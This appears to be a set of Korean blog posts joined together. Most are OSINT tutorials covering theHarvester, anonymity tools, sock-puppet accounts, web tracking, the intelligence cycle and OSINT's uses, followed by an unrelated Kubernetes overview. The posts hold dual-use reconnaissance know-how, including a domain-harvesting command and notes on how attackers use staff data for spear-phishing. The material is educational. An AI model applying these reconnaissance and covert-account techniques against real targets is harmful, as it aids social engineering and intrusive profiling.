이번에는 OSINT (Tool, 툴) 도구 및 서비스에 대해 소개하겠습니다.

 

OSINT 도구를 악용하여 사용하실 경우 모든 책임은 본인에게 있음을 밝힙니다.

반드시 올바른 목적과 법, 제도 내에서 사용하셔야 합니다.

 

 

The Harvester

The Harvester는 OSINT 소스를 활용하여 목표 도메인에 대한 정보를 수집하는 CLI 정보 수집 도구입니다.

이 도구를 통해 호스트 이름, IP 주소, 직원, 이메일 주소 등 다양한 정보를 검색할 수 있습니다.

 

https://github.com/laramies/theHarvester

The Harvester GitHub 주소

 

GitHub - laramies/theHarvester: E-mails, subdomains and names Harvester - OSINT

E-mails, subdomains and names Harvester - OSINT . Contribute to laramies/theHarvester development by creating an account on GitHub.

github.com

 

Github 설명에 따르면 Harvester는 레드 팀 정찰 단계에서 사용하도록 설계된 강력한 도구라고 설명하고 있다..

깃헙 주소 이미지

 

 

The Harvester는 칼리 리눅스에서 기본값으로 사용할 수 있습니다.

칼리 리눅스 문서에서 확인 가능

 

 

theHarvester 명령어 입력 시의 화면

 

 

구글을 대상으로 간단한 정찰 수행 예시

theharvester -d google.com -l 100 -b google

(도구 이름) (목표 도메인 = google.com) (최대 100개 결과 리스트) (데이터 소스 = google)

 

 

Google 하위 도메인과 연관된 IP 주소를 알아낼 수 있습니다.

 

칼리 리눅스의 문서, 혹은 CLI 환경에서 theharvester 명령을 실행하면 이 도구에 대한 도움말을 확인할 수 있습니다.

 

The Harvester는 뛰어난 OSINT 도구로 활용될 수 있습니다!

OSINT에서 익명성은 매우 중요한 요소입니다.

이전 시간에서 살펴봤듯이 여러분이 OSINT 분석가라면, 여러분의 정보가 상대방에게 노출되면 위험에 빠질 가능성이 존재합니다.

 

이번 시간에는 익명성을 위해 사용할 수 있는 기술과 도구를 소개하겠습니다.

 

하지만 이런 익명성 기술과 도구를 활용한다고 해도 인터넷에서 완전한 익명성을 달성하기는 어렵습니다. 그럼에도 불구하고 다른 사람인 것처럼 보이게 할 수 있어 소셜 미디어나 구글 등 거대 기업이 우리들의 정체성을 알아차리지 못하게 할 수 있습니다.

 

가상머신 사용하기

OSINT 전문가들은 리눅스 OS를 사용하고, 조사를 수행한 후 시스템을 재부팅하여 모든 흔적을 제거하는 것이 가장 좋은 방법이라고 조언합니다.

가상 머신을 통해 OS를 가상화하고 활동에 대한 개인정보보호를 강화할 수 있습니다.

 

이를 위해 OSINT 가상머신을 사용하거나 직접 OSINT 리눅스 배포판을 만들 수 있습니다.

 

TraceLabs에서 OSINT 가상머신을 제공합니다. 

TL OSINT VM: https://www.tracelabs.org/initiatives/osint-vm

 

OSINT VM

Trace Labs OSINT VM Crowdsourced OSINT to Find Missing Persons The Trace Labs team created a specialized OSINT VM specifically to bring together the most effective OSINT tools and customized scripts we saw being used during our Search Party CTF’s. Inspir

www.tracelabs.org

 

직접 배포판을 만들고 싶다면 아래 페이지를 참고해주세요.

DIY OSINT VM Guide: https://nixintel.info/tag/diy-buscador/

 

Nixintel Open Source Intelligence & Investigations DIY Buscador

Capturing and preserving media content is an essential part of most OSINT investigations. There are a number of tools available to do this, but my favourite my far is YouTube-dl. Despite it’s name, YouTube-dl is capable of grabbing videos quickly from a

nixintel.info

 

 

공인 IP 숨기기

IP 주소는 인터넷 상에서 우리를 드러내는 얼굴과 같습니다. IP 주소를 변경할 수 있는 도구를 사용하면 온라인 신원을 보호하고 익명성을 강화할 수 있습니다.

 

이 글에서는 공인 IP를 숨기기 위한 두 가지 도구를 소개합니다.

 

TOR 브라우저

익명성과 프라이버시 보호에 초점을 둔 특수한 웹 브라우저입니다. TOR 네트워크를 통해 트래픽을 암호화하고 중간에 여러 번 경유시켜 사용자의 IP 주소와 활동 내역을 숨깁니다. 이를 통해 인터넷 활동에 대한 추적을 어렵게 만듭니다.

 

기본적으로 모든 스크립트와 확장 기능을 차단하기 때문에 보안 위협을 최소화하는 기능도 있으며 그 외 다양한 기능들이 존재합니다.

 

자세한 내용은 공식 TOR 브라우저에서 직접 확인할 수 있습니다.

https://support.torproject.org/ko/about/

 

Tor 개요 | Tor 프로젝트 | 지원

(현재 실제로 사용되는 저지연 익명화 설계 방식 모두가 그렇듯이) Tor 역시 공격자가 통신로 처음과 끝을 조회하게 되면 속수무책입니다. 예를 들어, 귀하가 네트워크에 들어갈 때 선택한 Tor 중

support.torproject.org

 

VPN
VPN은 조사를 수행하고자 하는 사람에게 필수적인 도구입니다.

VPN을 사용하면 외부로부터 IP 주소를 숨길 수 있을 뿐만 아니라, 모든 통신에 암호화 계층을 추가하여 개인정보보호 강화에 도움을 줄 수 있습니다.

 

VPN 공급업체를 선택하기 힘들 때는 아래 가이드를 한 번 살펴보세요.

https://www.secjuice.com/how-to-choose-a-virtual-private-network-vpn-provider/

 

 

웹 브라우저에 확장 프로그램 설치

웹 브라우저에 확장 프로그램을 설치해 추적되거나 원치 않는 스크립트를 차단할 수도 있습니다.

여러 가지 확장 프로그램을 소개하겠습니다.

 

User-Agent Switcher and Manager

브라우저의 사용자 에이전트 문자열을 사용자 지정 값으로 변조합니다.

이러한 변경을 매번 수동으로 변경할 필요도 없는 기능을 갖고 있습니다.

 

 

 

No Script

JavaScript, Java, Flash 및 기타 플러그인이 사용자가 선택한 신뢰할 수 있는 웹사이트에서만 실행되도록 허용합니다.

기본적으로 JavaScript를 차단하고 크로스 사이트 스크립팅(XSS)를 방지하는 기능을 가지고 있습니다.

해당 확장 프로그램을 사용하면 웹페이지 기능이 일부 제한될 수도 있습니다.

 

 

 

Privacy Badger

이미지는 귀여운데 어떤 동물인지 모르겠네요.

Privacy Badger는 사용자의 온라인 프라이버시를 보호하고 추적을 차단하는 기능을 가지고 있습니다.

 

 

 

Ublock Origin

Ublock Origin은 광고 차단, 온라인 추적 방지, 악성코드 차단 등의 기능을 제공하는 꽤 인기 있는 확장 프로그램입니다.

화이트리스트, 블랙리스트, 동적 필터링 등 다양한 옵션을 제공하고 있습니다.

 

 

Cookie AutoDelete

쿠키 관리를 위한 브라우저 확장 프로그램입니다.

화이트리스트에 추가된 신뢰하는 웹사이트의 쿠키는 보존시킬 수 있고,

그레이리스트에 추가된 쿠키는 브라우저를 종료할 때만 삭제됩니다.

 

 

Sock Puppetry (가짜 계정) 활용

마지막으로 Sock Puppetry에 대해 알아보겠습니다.

실제 자신의 신원과 디지털 신원을 분리하는 가장 좋은 방법은 가짜 계정을 사용하는 것입니다.

 

사실 이러한 행위는 의견 조작, 여론 왜곡, 허위 정보 유포 등 부정적인 목적으로 활용되는 경우가 많아 많은 지적을 받고 있기도 합니다. 따라서 이런 계정을 사용하시려면 스스로 윤리적인 책임감을 가지고 행동하셔야 합니다.

 

Sock Puppetry은 다양한 프로젝트나 연구를 수행하기 위해 만든 대체 아이덴티티라고 볼 수 있습니다. 이러한 계정의 목적은 연구 대상과 접촉하거나 소셜 네트워크와 직접 연결되지 않고도 OSINT 조사를 수행할 수 있는 것입니다.

 

여러 가이드를 통해 Sock Puppetry에 대해 더 자세히 알아보세요.

https://www.secjuice.com/the-art-of-the-sock-osint-humint/

https://web.archive.org/web/20210125191016/https://jakecreps.com/2018/11/02/sock-puppets/

 

Creating an Effective Sock Puppet for OSINT Investigations – Introduction

Introduction and Philosophy In recent light of the epic failure by Surefire Intelligence to frame Robert Mueller for sexual assault allegations, I feel it’s important to discuss and unpack ho…

web.archive.org

https://garrettmickley.com/sockpuppet-account-creation/

 

Sockpuppet Account Creation – My Process

OSINT Investigator and privacy consultant Garrett Mickley shares his process for sockpuppet account creation. Click here to learn more.

garrettmickley.com

https://keyfindings.blog/2019/01/21/the-worlds-best-sock-puppet-not/

 Online Tracking은 인터넷 상에서의 사용자의 활동 내역을 모니터링하거나 추적하는 것을 의미합니다.

온라인 추적은 개인정보보호나 프라이버시 침해 문제와 관련되어 있기도 합니다.

 

인터넷 상에 존재하는 것은 어떤 것도 사적이지 않습니다. 우리가 신뢰하는 검색 엔진에 접속하는 순간부터 브라우저는 방문한 웹사이트에 우리들의 정보를 전달하게 되고, 브라우저를 통해 웹사이트에서 상호작용할 때마다 구성 정보뿐만 아니라 우리들을 식별할 수 있는 데이터도 전송됩니다.

 

Online Tracking의 대표적인 네 가지 개념을 알아보겠습니다.

 

Fingerprinting

인터넷 서핑으로 여러 가지 정보를 찾았을 때, 그 관련된 정보들이 소셜미디어 광고로 다시 화면에 보여진 적이 있을 겁니다. 그건 단순히 우연히 아닙니다. 우리들의 인터넷 검색 과정에서 남긴 흔적들을 감지하는 프로그램들이 있기 때문에 가능한 것입니다. 아마 여러분이 무엇을 하는지 추적하기 위해, 우리들의 동의를 구한 질문을 보신 적이 있을 것입니다.

아이폰에서는 앱마다 Tracking을 허용할 것인지 설정할 수 있다.

 

이러한 Tracking은 우리들의 관심사를 파악하고 추천 정보를 제공하기 위해 웹사이트 방문 기록을 추적하는 것입니다.

이런 Tracking으로 여러분이 누구인지, 무엇을 좋아하는지, 어디를 다녀왔는지까지 알 수 있게 됩니다.

 

이런 흔적들은 여러분이 의심하지 않는다면 큰 문제가 되지 않을 수 있습니다.

하지만 여러분들이 OSINT 분석가로서 대상에게 감지되지 않으려 한다면 이러한 흔적들은 치명적일 수 있습니다.

 

이는 대상이 여러분의 존재를 알아차리게 할 뿐만 아니라, 그 흔적을 이용해 여러분이 누구인지까지 파악할 수 있게 합니다. 여러분이 오히려 역으로 위험해질 수도 있는 것이죠.

 

IP Addresses

우리를 세상에서 연결시켜주는 IP 주소가 우리를 배신할 수도 있습니다.

 

인터넷을 사용할 때마다 우리들의 공인 IP 주소가 라우터를 통해 전송됩니다. 이를 통해 웹사이트와 통신할 수 있을 뿐만 아니라 웹사이트에 자신의 주소를 알려주고 어떤 리소스를 보내야 하며, 얼마나 걸릴지도 알려주게 됩니다.

 

이 작은 요소가 우리들의 정체성을 가장 쉽게 드러내고, 상대방이 인식할 수 있다는 점을 항상 기억해야 합니다.

 

Cookies

거의 모든 웹사이트가 최적화되고 사용자 친화적인 방식으로 작동하기 위해 쿠키라는 요소를 사용하고 있습니다.

 

쿠키는 로그인 정보, 개인화된 설정, 심지어 장바구니에 있던 내역까지 저장합니다. 그러나 이러한 항목 중 일부는 웹사이트가 우리들에 대해 더 많이 알 수 있게 해주는 주된 이유이기도 합니다. 이 쿠키가 바로 Third-party persistent cookies 또는 tracking cookies라고 알려져 있는 것입니다.

 

Third-party persistent cookies는 웹사이트 사용자의 온라인 활동을 추적하고 모니터링하는 데 사용되는 쿠키입니다.

보통 사용자가 방문한 웹사이트가 아닌 다른 도메인에서 설치되는 쿠키로 주로 광고 네트워크나 데이터 분석 회사가 설치합니다. 이 쿠키는 오랫동안 사용자의 브라우저에 남아있고, 사용자의 활동 패턴을 장기간 추적하게 됩니다.

 

이러한 쿠키의 목적은 개인 맞춤형 광고 등을 제공하려는 것이 주 목적이나, Third-party persistent cookies는 사용자 프라이버시 침해 우려가 있어 많은 논란의 대상이 되고 있기도 합니다.

원치 않는다면 브라우저 설정에서 차단하거나 삭제할 수 있지만, 이는 웹사이트 기능에 지장을 줄 수도 있습니다.

 

 

Browser Fingerprinting

마지막으로, Browser Fingerprinting은 사용자의 웹 브라우저와 기기 정보를 활용하여 사용자를 식별하는 기술입니다.

 

브라우저 유형(크롬, 사파리 등), 버전, 언어 설정, 플러그인, 폰트, 타임존, 화면 크기까지 정보를 수집합니다.

이러한 정보가 사용자별 고유한 Fingerprint를 생성합니다. 이를 통해 사용자를 식별하고 추적할 수 있게 됩니다.

쿠키를 차단하고, 익명 브라우징을 사용해도 브라우저 Fingerprint 정보로 사용자를 식별할 수 있습니다.

 

이 디지털 핑거프린트가 실제로 가장 위험하고 침입적인 요소입니다.

실제로 웹 브라우저가 제공하는 정보를 확인할 수 있는 여러 페이지가 존재하며 대표적인 페이지를 알려드립니다.

여러분의 정보가 인터넷 상에서 얼마나 익명인지 확인해보세요.

 

 

https://coveryourtracks.eff.org

 

https://browserleaks.com

 

 

이상으로 Online tracking의 개념들을 살펴보았으며, 다음 시간에는 익명화에 대해서 알아보겠습니다.


참고자료:

https://www.theguardian.com/technology/2012/apr/23/doubleclick-tracking-trackers-cookies-web-monitoring

 

DoubleClick: What is it and what does it do?

DoubleClick appeared more than any other name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/facebook-tracking-trackers-cookies-web-monitoring

 

Facebook: What is it and what does it do?

Facebook appeared as the fourth-biggest name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/google-tracking-trackers-cookies-web-monitoring

 

Google: What is it and what does it do?

Google appeared as the sixth-biggest name in our Tracking the Trackers data. Here we find out as much as we can about what it does.

www.theguardian.com

https://www.theguardian.com/technology/2012/apr/23/cookies-and-web-tracking-intro

 

Tracking the trackers: Introduction to cookies and web tracking

What exactly are web cookies and what do they do? This guide gives you an introduction to help you understand more about our Tracking the Trackers project.

www.theguardian.com

https://privacy.net/stop-cookies-tracking/

 

How cookies track you around the web & how to stop them | Privacy.net

Some cookies are harmless, but others remain active even on websites that they didn't originate from, gathering information about your behavior and what you click on. These are called third-party persistent cookies or, more colloquially, tracking cookies.

privacy.net

 

https://www.cookieyes.com/blog/tracking-cookies/

 

What are Tracking Cookies & How to Block Them - CookieYes

Want to limit ads that follow you on the web or protect your website users from tracking cookies? Here’s a primer to answer your questions on cookie tracking.

www.cookieyes.com

 

이번 시간에는 Intelligence Cycle에 대해서 알아보겠습니다.

 

여러분이 어떤 소속이든 어떤 Role을 가지고 있든, 정보 수집 및 분석 상황에서 직면하는 과제는 동일할 것입니다.

여러분이 직면하게 될 과제는 데이터를 수집하고 그 방대한 데이터를 분석하여 해결책을 찾아야 하는 것이죠

 

대량의 데이터를 활용하여 원하는 해결책을 설명하는 보고서(intelligence report)를 작성해야 하는데..
문제는 이러한 보고서를 만들어내는 것이 쉽지 않다는 점입니다. (어떤 종류의 보고서든 항상 쉽지 않아..)

단순히 데이터를 수집하는 것뿐만 아니라, 이를 체계적으로 분류하고 구조화하여 정보로 전환하는 과정 혹은 프로세스가 필요합니다.

 

 

이를 위해 Intelligence Cycle 프로세스가 활용됩니다. 이 순환적 모델은 수집한 데이터와 정보를 조직에 도움이 될 수 있게 하는 일련의 단계와 절차를 설명합니다.

위키 백과에서 확인할 수 있는 이미지

 

 

해당 개념에 대해 더 자세히 확인하고 싶다면  CIA 문서도 확인하는 것을 권장드립니다.

https://www.cia.gov/spy-kids/parents-teachers/docs/Briefing-intelligence-cycle.pdf

 

 

이미지처럼 Intelligence Cycle은 5가지 핵심 단계로 구성됩니다.

 

1. Planning and Direction

첫 번째 단계는 조사의 범위와 목적을 정의하게 됩니다. 이 단계에서 여러분의 목적과 필요한 정보 유형을 정의하고 결정하게 됩니다.

 

어떠한 정보가 필요한지 올바르게 정의하여야만 이후 단계에서의 결과물이 원하는 방향으로 흘러갈 수 있습니다.

충분한 검토가 필요할 수 있습니다.

 

2. Collection (gathering of data and information)

두 번째 단계에서는 정보 수집을 위해 어떤 프로세스를 사용할지 식별하는 것이 목표입니다.

다양한 기법을 활용하여 필요한 데이터를 수집하게 되는 단계입니다.

 

수집 프로세스는 다양하고 광범위하기에 지금 다룰 수 없습니다.

 

3. Processing of data and information / Processing and Exploitation

 

세 번째 단계에서는 이전 단계에서 수집한 모든 것을 처리하는 단계입니다.

여기서의 목표는 단순히 정보를 시각화하는 것뿐만 아니라 디코딩, 암호 해독, 검증, 평가 기법을 적용하여 수집된 방대한 정보를 필터링하고 유용한 데이터를 식별하는 단계입니다.

 

4. Analysis and Production

네 번째 단계에서는 분석가들의 핵심 역량을 발휘할 수 있는 단계입니다.

이전 단계에서 필터링한 모든 정보를 종합하여 초기 문제에 대한 해결책을 도출하고, 이 과정을 명확히 설명할 수 있는 산출물(보고서, 발표 등)을 생성하는 단계입니다.

 

분석가의 역량에 따라 기타 이해관계자들을 더 효율적으로 설득할 수 있고, 의미있는 정보로 가공될 수 있습니다.

 

5. Dissemination and Integration / Dissemination of intelligence to the clients

마지막 단계입니다. 이 과정을 통해 개발한 산출물을 개인 또는 그룹(혹은 의뢰한 고객사)에게 전달하게 됩니다.

이를 통해 산출물을 제공받은 개인 또는 그룹이 문제 해결을 위해서 정보에 기반한 적절한 의사결정을 내리는 데 도움을 줄 수 있게됩니다.

 

참고: Dissemination은 정보나 지식을 널리 퍼뜨리거나 배포하는 것을 의미

 


 

이번 시간에는 Intelligence Cycle 5가지 핵심에 대해 알아보았습니다.

 

다소 이론적이고 재미없을 만한 내용일 수도 있지만, 이 과정을 이해한다면 여러분은 intelligence process를 성공적으로 수행하는 데 필요한 것을 모두 알게 되신 겁니다.

 

다음 시간에는 온라인에서 스스로를 보호하는 방법에 대해 알아보겠습니다!

 


 

참고자료

https://en.wikipedia.org/wiki/Intelligence_cycle

https://www.cia.gov/spy-kids/parents-teachers/docs/Briefing-intelligence-cycle.pdf

https://www.sciencedirect.com/topics/computer-science/intelligence-cycle

https://www.e-education.psu.edu/sgam/node/15

https://www.groupsense.io/resources/how-to-use-the-intelligence-cycle-to-secure-your-brand

 

 

OSINT의 정의

OSINT(Open-Source Intelligence)는 공개된 출처에서 얻은 정보들을 의미합니다. OSINT는 주로 법집행(law enforcemnet), 사이버 범죄 활동, 비즈니스 환경 등에 널리 사용되고 있습니다. 

 

OSINT(Open-Source Intelligence)는 사이버 보안과 다양한 분야에서 핵심적인 역할을 담당하는 강력한 도구입니다. 공격자와 방어자, 비즈니스 및 법 집행 기관 모두가 OSINT를 활용하여 자신의 목적을 달성할 수 있습니다.

 

OSINT로 수집한 데이터는 공격자에게는 표적 식별 및 취약점 발견의 기반이 되고, 방어자에게는 공격 표면 축소와 대응 전략 수립의 기반이 됩니다. 또한 기업은 OSINT로 경쟁사 모니터링, 고객 이해도 제고, 보안 위험 관리 등을 수행할 수 있으며, 정부 기관은 OSINT로 범죄자 추적과 프로파일링을 실행할 수 있습니다.

 

OSINT로 활용될 수 있는 예시

 

OSINT의 데이터 예시를 살펴보겠습니다.

 

1. Job Description에 회사 내부 시스템에 대한 정보를 기재할 경우

회사에서 시스템 관리자를 채용하기 위해 직무 설명서에 "Windows Server 2022 및 Ubuntu를 잘 다루는 경력자를 채용 중입니다."

라는 내용은 회사 내부 시스템에 대한 정보를 누설하는 것으로, 공격자는 이를 이용해 네트워크에 침투한 뒤 Lateral movement 혹은 privilege escalation을 계획할 수 있게 됩니다.

 

2. 회사 공식 웹 페이지에서 일부 직원들 혹은 전체 직원을 소개할 경우

특정 부서나 혹은 전체 직원을 소개하는 페이지가 있다고 가정합니다. 예를 들면, "저희 보안 팀을 소개합니다!"

 

회사의 공개된 정보를 보며 공격자는 매우 쉽게 사회공학 공격의 대상이 될 수 있는 직원들의 목록을 수집할 수 있고 회사의 조직도를 쉽게 파악하게 됩니다. 공격자는 특정 직원을 향해 스피어피싱을 하기 쉬워지겠죠...

 

심지어 어떤 회사는 직원들의 연락처, 이메일 주소까지 공개하기도 하는데 이는 사회공학 공격을 크게 도와주는 행위입니다. 

 

3. 개인의 소셜미디어 프로필

개인의 소셜미디어 프로필을 통해 잘 구축된 개인정보들은 특정 개인을 더 잘 이해하고 다양한 정보를 수집할 수 있습니다.

생년월일, 거주지, 친구, 관심사, 가족 등.

 

4. 소셜미디어에 게시된 지오태깅된 사진 및 메타데이터에 포함된 기기 정보

소셜미디어에 게시된 지오태깅된 사진과 메타데이터에 포함된 기기 정보를 통해 사진에서 촬영된 위치와 기기를 한 번에 알아낼 수 있습니다. 

 

위에서 언급한 예시는 수많은 공개된 데이터 중 일부일 뿐입니다. 

 

이러한 정보들을 잘 활용한다면 공격자와 방어자 모두에게 유용하게 활용될 수 있습니다.

 

공격자는 은밀하게 목표물에 대한 정보를 충분히 파악하여 이를 토대로 공격 계획을 세울 수도 있습니다.

반면 블루팀은 인터넷상에 공개된 정보가 어떤 것들이 있는지 파악하고, 사용자 교육 훈련 및 소셜미디어에 대한 보안 대책을 마련할 수 있습니다.

 

 


 

OSINT가 유용한 이유

 

크게 4가지 역할군으로 나누어서 유용한 이유에 대해 설명할 수 있습니다.

 

Blue Team / Defenders

방어하는 입장에서 OSINT가 왜 유용할까요?

 

인터넷에 공개된 정보들 속에서 방어자들은 공개된 정보를 줄이거나 다른 방법을 통해 공격을 완화시키거나 그 효과를 감소시킬 수 있습니다.

 

만약 공격자가 회사 내 직원에 대한 상세한 프로필 정보를 보고 똑같이 변장한다면 이는 매우 위험하게 악용될 가능성이 높습니다. 공격자를 돕는 정보를 줄이거나 제거함으로써, 방어자는 공격 표면(attack surface), 즉 공격자가 내부 시스템에 접근할 수 있는 영역을 줄일 수 있습니다.

 

이러한 활동은 종종 공개 노출 평가(public exposure assessments)라고 불리기도 합니다. 직원들이 소셜 미디어에 올린 정보 수집, 인터넷에 노출된 내부 자산 식별, DNS 검사, 오래된 로그인 포털이나 웹사이트 찾기 등이 해당합니다.

 

Red Team / Hackers / Attackers

공격하는 입장에서 OSINT를 잘 활용한다면 기업이 사용하는 시스템을 파악하고, 잠재적인 취약점과 공격 방법을 사전에 계획할 수 있습니다.

 

직원 정보를 수집하면 사회공학 공격과 스피어피싱 이메일을 효과적으로 실행할 수 있습니다. 공격자는 피해자에게 더 신뢰할 만한 것으로 보이도록 공격을 설계할 수 있습니다.

 

따라서 기업은 자사의 시스템과 직원들이 온라인에서 공유하는 정보에 주의를 기울여야 합니다. 이러한 정보를 악의적인 목적으로 수집하는 과정을 목표 정보 수집(target information gathering) 또는 수동 정보 수집(passive information gathering)이라고 일컫습니다. 이는 공격자가 대상 시스템과 직접 상호작용하지 않고 정보를 수집할 수 있기 때문입니다.

 

비즈니스

비즈니스 상황에서는 어떻게 활용될까요?

 

기업들은 OSINT를 활용하여 경쟁업체를 모니터링하고, 시장 동향을 파악하며, 고객에 대한 정보를 더 잘 이해하고 효과적으로 소통할 수 있습니다. 또한 데이터를 통해 비즈니스 운영을 개선하고, 유출된 자격 증명 정보, 직원들의 기밀 정보, 해커들의 공격 계획 등 보안 위험도 모니터링할 수 있습니다.

특히 경쟁업체의 소셜미디어 채널을 모니터링하여 그들의 강점을 파악하여 자사의 소셜미디어 및 마케팅 전략을 보완할 수 있습니다.

 

법 집행기관

정부와 경찰 기관은 범죄자, 용의자, 테러리스트와 같은 주요 대상자를 추적하기 위해 OSINT를 활용할 수 있습니다.

프로파일링은 개인에 대한 정보를 수집하여 그의 성격과 행동 패턴을 파악하는 활동으로 개인의 관심사와 이전 위치를 바탕으로 특정 시간에 그가 어디에 있을지까지 예측할 수 있습니다.

OSINT는 온라인상에서 자신을 숨기지 못한 사이버 범죄자의 신원을 밝혀내는 데 활용될 수 있습니다.

Trace Labs와 같은 비영리 단체는 온라인 OSINT 대회를 개최하여 실종자 추적과 법 집행 기관을 지원하기도 합니다.

 

Trace Labs과 같은 단체가 관심있으시다면 https://www.tracelabs.org/ 사이트를 직접 확인해보세요. :)

 

다음 시간에는 Intelligence Cycle에 대해 알아보겠습니다.

https://kubernetes.io/docs/concepts/overview/

 

Overview

Kubernetes is a portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. It has a large, rapidly growing ecosystem. Kubernetes services, support, and tools

kubernetes.io

이 글은 쿠버네티스 공식 영어 문서를 제 임의대로 약간(?) 수정하여 한국어로 수정하였습니다. 따라서 쿠버네티스에 대한 정확한 개요를 원하시는 분께서는 공식 영어 문서를 참조해주세요.

개요

Kubernetes는 선언적 구성과 자동화를 모두 촉진하는 컨테이너화된 워크로드 및 서비스를 관리하기 위한 이식 가능하고 확장 가능한 오픈 소스 플랫폼입니다. 규모가 크고 빠르게 성장하는 생태계를 가지고 있습니다.

Kubernetes라는 이름은 조타수 또는 조종사를 의미하는 그리스어에서 유래되었습니다. K8s는 "K"와 "s" 사이의 8개 문자를 세어 만든 약어입니다. Google은 2014년에 Kubernetes 프로젝트를 오픈소스화했습니다. Kubernetes는 Google이 15년 넘게 대규모로 프로덕션 워크로드를 실행한 경험과 커뮤니티의 동급 최고의 아이디어 및 사례를 결합합니다.

 

 

과거에는. . .

과거와 비교하며 Kubernetes가 왜 유용한지 살펴보겠습니다.

기존 배포 방식 (Traditional Deployment):

초기에 조직은 물리적 서버에서 애플리케이션을 실행했습니다. 물리적 서버에서는 애플리케이션에 대한 리소스 경계를 정의할 방법이 없었으며 이로 인해 리소스 할당 문제가 발생했습니다. 예를 들어, 여러 애플리케이션이 물리적 서버에서 실행되는 경우 한 애플리케이션이 대부분의 리소스를 차지하여 결과적으로 다른 애플리케이션의 성능이 저하되는 경우가 있을 수 있습니다. 이에 대한 해결책은 각 애플리케이션을 서로 다른 물리적 서버에서 실행하는 것입니다. 그러나 리소스 활용도가 낮기 때문에 확장이 불가능했고 조직에서 많은 물리적 서버를 유지하는 데 비용이 많이 들었습니다.

가상화 배포 방식 (Virtualized Deployment):

솔루션으로 가상화가 도입되었습니다. 이를 통해 단일 물리적 서버의 CPU에서 여러 가상 머신(VM)을 실행할 수 있습니다. 가상화를 사용하면 VM 간에 애플리케이션을 격리할 수 있으며, 한 애플리케이션의 정보를 다른 애플리케이션에서 자유롭게 액세스할 수 없으므로 보안 수준을 제공합니다.

가상화를 사용하면 물리적 서버의 리소스 활용도가 향상되고 애플리케이션을 쉽게 추가하거나 업데이트할 수 있고 하드웨어 비용을 절감할 수 있으므로 확장성이 향상됩니다. 가상화를 사용하면 일련의 물리적 리소스를 일회용 가상 머신 클러스터로 제공할 수 있습니다.

각 VM은 가상화된 하드웨어 위에 자체 운영 체제를 포함한 모든 구성 요소를 실행하는 완전한 시스템입니다.

컨테이너 배포 방식 (Container Deployment)

컨테이너는 VM과 유사하지만 애플리케이션 간에 운영 체제(OS)를 공유하기 위한 완화된 격리 속성을 가지고 있습니다. 따라서 컨테이너는 경량으로 간주됩니다. VM과 유사하게 컨테이너에는 자체 파일 시스템, CPU 공유, 메모리, 프로세스 공간 등이 있습니다. 기본 인프라에서 분리되므로 클라우드와 OS 배포판 간에 이식 가능합니다.

 

컨테이너의 이점

  • 민첩한 애플리케이션 생성 및 배포: VM 이미지 사용에 비해 컨테이너 이미지 생성의 용이성과 효율성이 향상되었습니다.
  • 지속적인 개발, 통합 및 배포: 빠르고 효율적인 롤백을 통해 안정적이고 빈번한 컨테이너 이미지 빌드 및 배포를 제공합니다(이미지 불변성으로 인해).
  • 개발 및 운영의 우려 사항 분리: 배포 시간이 아닌 빌드/릴리스 시간에 애플리케이션 컨테이너 이미지를 생성하여 인프라에서 애플리케이션을 분리합니다.
  • 관찰 가능성: OS 수준 정보 및 지표뿐만 아니라 애플리케이션 상태 및 기타 신호도 표시합니다.
  • 개발, 테스트, 생산 전반에 걸친 환경적 일관성: 클라우드에서와 마찬가지로 노트북에서도 동일하게 실행됩니다.
  • 클라우드 및 OS 배포 이식성: Ubuntu, RHEL, CoreOS, 온프레미스, 주요 퍼블릭 클라우드 등 어디에서나 실행됩니다.
  • 애플리케이션 중심 관리: 가상 하드웨어에서 OS를 실행하는 것에서 논리적 리소스를 사용하여 OS에서 애플리케이션을 실행하는 것으로 추상화 수준을 높입니다.
  • 느슨하게 결합되고, 분산되고, 탄력적이고, 자유로운 마이크로 서비스: 애플리케이션은 더 작고 독립적인 조각으로 분할되며 하나의 큰 단일 목적 시스템에서 실행되는 모놀리식 스택이 아니라 동적으로 배포 및 관리될 수 있습니다.
  • 리소스 격리: 예측 가능한 애플리케이션 성능.
  • 자원 활용: 높은 효율성과 밀도.

 

Kubernetes가 필요한 이유와 Kubernetes가 수행할 수 있는 작업

컨테이너는 애플리케이션을 번들링하고 실행하는 좋은 방법입니다. 프로덕션 환경에서는 애플리케이션을 실행하는 컨테이너를 관리하고 가동 중지 시간이 없는지 확인해야 합니다. 예를 들어 컨테이너가 작동 중지되면 다른 컨테이너를 시작해야 합니다.

Kubernetes는 분산 시스템을 탄력적으로 실행할 수 있는 프레임워크를 제공합니다. 애플리케이션의 확장 및 장애 조치를 관리하고 배포 패턴 등을 제공합니다. 예시: Kubernetes는 시스템의 카나리아 배포를 쉽게 관리할 수 있습니다.

 

Kubernetes가 제공할 수 있는 이점

  • 서비스 검색 및 로드 밸런싱 Kubernetes는 DNS 이름 또는 자체 IP 주소를 사용하여 컨테이너를 노출할 수 있습니다. 컨테이너에 대한 트래픽이 높으면 Kubernetes는 배포가 안정적이도록 네트워크 트래픽의 부하를 분산하고 분산할 수 있습니다.
  • 스토리지 오케스트레이션 Kubernetes를 사용하면 로컬 스토리지, 퍼블릭 클라우드 공급자 등 원하는 스토리지 시스템을 자동으로 마운트할 수 있습니다.
  • 자동화된 롤아웃 및 롤백 Kubernetes를 사용하여 배포된 컨테이너에 대해 원하는 상태를 설명할 수 있으며 실제 상태를 제어된 속도로 원하는 상태로 변경할 수 있습니다. 예를 들어 Kubernetes를 자동화하여 배포를 위한 새 컨테이너를 생성하고, 기존 컨테이너를 제거하고, 모든 리소스를 새 컨테이너에 채택할 수 있습니다.
  • 자동 바이너리 패킹 쿠버네티스에게 컨테이너화된 작업을 실행할 수 있는 노드 클러스터를 제공합니다. 쿠버네티스에게 각 컨테이너가 얼마나 많은 CPU와 메모리(RAM)가 필요한지 알려줍니다. 쿠버네티스는 리소스를 최적으로 활용하기 위해 컨테이너를 노드에 맞게 배치할 수 있습니다.
  • 자가 치유(Self-healing) 쿠버네티스는 실패한 컨테이너를 다시 시작하고, 컨테이너를 교체하며, 사용자가 정의한 헬스 체크에 응답하지 않는 컨테이너를 종료하고, 클라이언트에게 제공 준비가 될 때까지 이를 공개하지 않습니다.
